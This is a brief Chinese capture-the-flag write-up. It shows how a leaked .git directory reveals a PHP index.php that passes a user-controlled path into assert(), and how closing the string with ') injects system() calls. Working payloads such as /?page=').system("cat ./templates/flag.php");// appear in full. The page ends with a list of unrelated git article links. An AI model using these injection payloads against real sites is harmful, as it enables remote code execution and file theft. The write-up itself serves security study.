mfw git泄露构造闭合

这题也挺有想法 第一次确实没有想到

首先我们可以扫出 git

然后

我们githack 泄露一下

然后我们看index.php代码

复制代码
<?php

if (isset($_GET['page'])) {
	$page = $_GET['page'];
} else {
	$page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

问题代码出现在

复制代码
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

这里的参数是可以闭合的 因为是可控的


我们构造 ')


assert("strpos('')', '..') === false") or die("Detected hacking attempt!");

然后我们可以在后面面接上其他php语句


这里有两个


').system("ls");//


或者

') or system("ls");//

最后payload

就是替换为cat即可

复制代码
/?page=').system("cat ./templates/flag.php");//
相关推荐
李菠菜43 分钟前
解决Windows系统下Git克隆时报错“unable to checkout working tree”的方法详解
windows·git
island13141 小时前
【git#4】分支管理 -- 知识补充
大数据·git·elasticsearch
船长@Quant3 小时前
协作开发攻略:Git全面使用指南 — 引言
git·版本控制·源代码管理·协作开发
极小狐3 小时前
极狐GitLab 项目功能和权限解读
运维·git·安全·gitlab·极狐gitlab
极小狐3 小时前
极狐GitLab 如何 cherry-pick 变更?
人工智能·git·机器学习·gitlab
前端太佬6 小时前
从拧螺丝到造火箭:Git高阶玩家生存报告
前端·git·github
前端太佬6 小时前
从青铜到塑料:Git逃难指南(附救命指令大全)
前端·git·github
Athel6 小时前
git 建立本地仓库并且推送到github上
git
李菠菜6 小时前
Windows Terminal 集成 Git Bash 的简洁配置指南
windows·git
高级IT技术专家secops9987 小时前
在统信UOS/麒麟Kylin OS操作系统中配置APT和GIT代理
运维·服务器·git·系统安全·kylin